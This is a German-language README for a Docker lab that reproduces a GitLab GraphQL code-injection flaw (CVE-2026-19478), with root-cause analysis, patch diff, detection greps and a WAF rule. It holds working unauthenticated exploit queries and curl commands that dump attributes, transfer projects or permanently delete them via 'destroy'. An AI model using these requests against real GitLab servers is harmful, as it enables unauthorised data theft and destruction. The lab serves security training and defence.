
Dockerisiertes Exploit-Labor und Skript für CVE-2026-19478, eine kritische, nicht authentifizierte GitLab-GraphQL-Code-Injection, die beliebige Ruby-Methodenaufrufe, Projektlöschung und Datencxfiltration ermöglicht.
Remote-Code-Injection ohne Authentifizierung über die GraphQL-Direktive in GitLab CE/EE — Löschen Sie jedes öffentliche Projekt mit einer einzigen HTTP-Anfrage
Ein praxisorientiertes Penetration-Testing-Labor, das CVE-2026-19478 reproduziert — eine kritische (CVSS 9.4) Schwachstelle in der GraphQL-API von GitLab. Die @gl_introduced-Direktive ermöglicht es nicht authentifizierten Angreifern, beliebige Ruby-Methoden auf serverseitigen Objekten auszuführen — einschließlich Projektlöschung, Datenextraktion und Besitzübertragung — ganz ohne Authentifizierung.
Dieses Labor betreibt eine echte, verwundbare GitLab-CE-19.2.0-Instanz in Docker für realistisches Exploit-Training.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-19478 |
| CVSS-Score | 9.4 (Kritisch) |
| Produkt | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Schwachstellentyp | Code-Injection / Beliebige Methodenausführung (CWE-94) |
| Angriffsvektor | Netzwerk (Remote) |
| Authentifizierung | Keine erforderlich |
| Benutzerinteraktion | Keine |
| Angriffskomplexität | Niedrig |
| Betroffene Versionen | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Behobene Versionen | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Entdeckt von | hiimguardian (via HackerOne) |
| Patch-Datum | 17. August 2026 |
Ein nicht authentifizierter Remote-Angreifer kann:
GitLab verwendet eine benutzerdefinierte GraphQL-Direktive @gl_introduced(version: "X.Y"), um rollierende Bereitstellungen (Rolling Deployments) zu unterstützen. Wenn eine neuere GitLab-Version ein Feld zur GraphQL-API hinzufügt, verarbeiten ältere Instanzen Abfragen, die auf diese neuen Felder verweisen, elegant, indem sie null zurückgeben, anstatt einen Fehler zu werfen.
Datei: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Zeilen 14-36)
Schritt-für-Schritt-Aufschlüsselung:
FutureFieldFilter scannt eingehende GraphQL-Abfragen. Wenn ein Feld @gl_introduced(version) mit einer neueren Version als die des aktuellen Servers aufweist, entfernt er das Feld und setzt context[:contain_future_fields] = true.
IntroducedTracer stellt das ursprüngliche Abfragedokument zur Ausführungszeit wieder her und fügt die entfernten Felder wieder in den AST ein.
FutureFieldFallback#get_field fängt jede Feldabfrage während der Ausführung ab. Es prüft drei Bedingungen:
contain_future_fields gesetzt? ✅__? ✅Wenn alle drei Prüfungen bestanden sind, erzeugt es ein neues GraphQL::Schema::Field ohne Resolver-Klasse.
In graphql-ruby wird ein Feld ohne Resolver aufgelöst, indem object.public_send(field_name) auf dem zugrunde liegenden Ruby-Objekt aufgerufen wird — wodurch der Feldname des Angreifers in einen beliebigen Methodenaufruf auf dem Project-ActiveRecord-Modell umgewandelt wird.
GitLabs Patch ersetzt die implizite Methodendispatch durch einen expliziten NilResolver, der bedingungslos nil zurückgibt. Dadurch bleibt die Kompatibilität mit Rolling Deployments erhalten, während die beliebige Methodenausführung eliminiert wird:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie zum Testen der API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| Dienst | URL | Zugangsdaten |
|---|---|---|
| GitLab-Weboberfläche | http://localhost | root / P@ssw0rd123! |
| GraphQL-API | http://localhost/api/graphql | Keine erforderlich |
| GraphQL-Explorer | http://localhost/-/graphql-explorer | Anmeldung erforderlich |
| SSH | localhost:2222 | — |
Für Maschinen mit begrenzten Ressourcen oder für einen schnelleren Start:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
Serverversion prüfen:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
Öffentliche Projekte per GraphQL aufzählen (ohne Authentifizierung):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
Die @gl_introduced-Direktive per Schema-Introspection entdecken:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
Verwenden Sie @gl_introduced mit einer zukünftigen Version auf einem Feld, das nicht im Schema existiert:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
Wenn die Instanz verwundbar ist, gibt class den Ruby-Klassennamen ("Project") zurück, was die beliebige Methodendispatch bestätigt.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
WARNUNG: Die folgende Aktion löscht das Projekt dauerhaft.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
Weitere ausnutzbare Methoden am Project-Modell von GitLab:
| Methode | Auswirkung |
|---|---|
destroy | Löscht das Projekt dauerhaft |
archive | Archiviert das Projekt |
transfer | Überträgt die Projektinhaberschaft |
attributes | Gibt alle Datenbankattribute aus |
repository | Greift auf das Repository-Objekt zu |
members | Listet Projektmitglieder auf |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| Indikator | Beschreibung |
|---|---|
@gl_introduced(version: "99.0") | Ausnutzungsversuch mit unrealistisch hoher Version |
Feldnamen: destroy, delete, update, transfer | Zielen auf destruktive ActiveRecord-Methoden ab |
| Unerwartete Projektlöschungen | Projekte, die ohne Admin-Aktion verschwinden |
| Sichtbarkeitsänderungen | Öffentliche Projekte werden plötzlich privat |
| Besitzübertragungen | Projekte werden an unbekannte Benutzer übertragen |
Blockieren Sie GraphQL-Anfragen, die @gl_introduced mit hohen Versionsnummern enthalten:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced mit hohen Versionszeichenfolgen enthalten, auf der Ebene von Reverse-Proxy/WAFDieses Labor wurde ausschließlich für autorisierte Sicherheitsschulungen und Penetration-Testing-Trainings erstellt. Es darf nur in kontrollierten, isolierten Umgebungen verwendet werden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen besitzen.
Verwenden Sie die Techniken, Werkzeuge oder den Exploit-Code aus diesem Labor nicht gegen ein System ohne entsprechende Autorisierung. Unbefugter Zugriff auf Computersysteme ist nach dem Computer Fraud and Abuse Act (CFAA) und entsprechenden Gesetzen weltweit illegal.
Die Autoren und Mitwirkenden sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Labor oder dessen Inhalte verursacht werden.
Folgen Sie @pwnsystem auf Instagram für tägliche Cybersicherheitstipps, CVE-Analysen und Exploit-Walkthroughs.
Vernetzen Sie sich mit Punit Darji auf LinkedIn für professionelle Sicherheitseinblicke und Lab-Updates.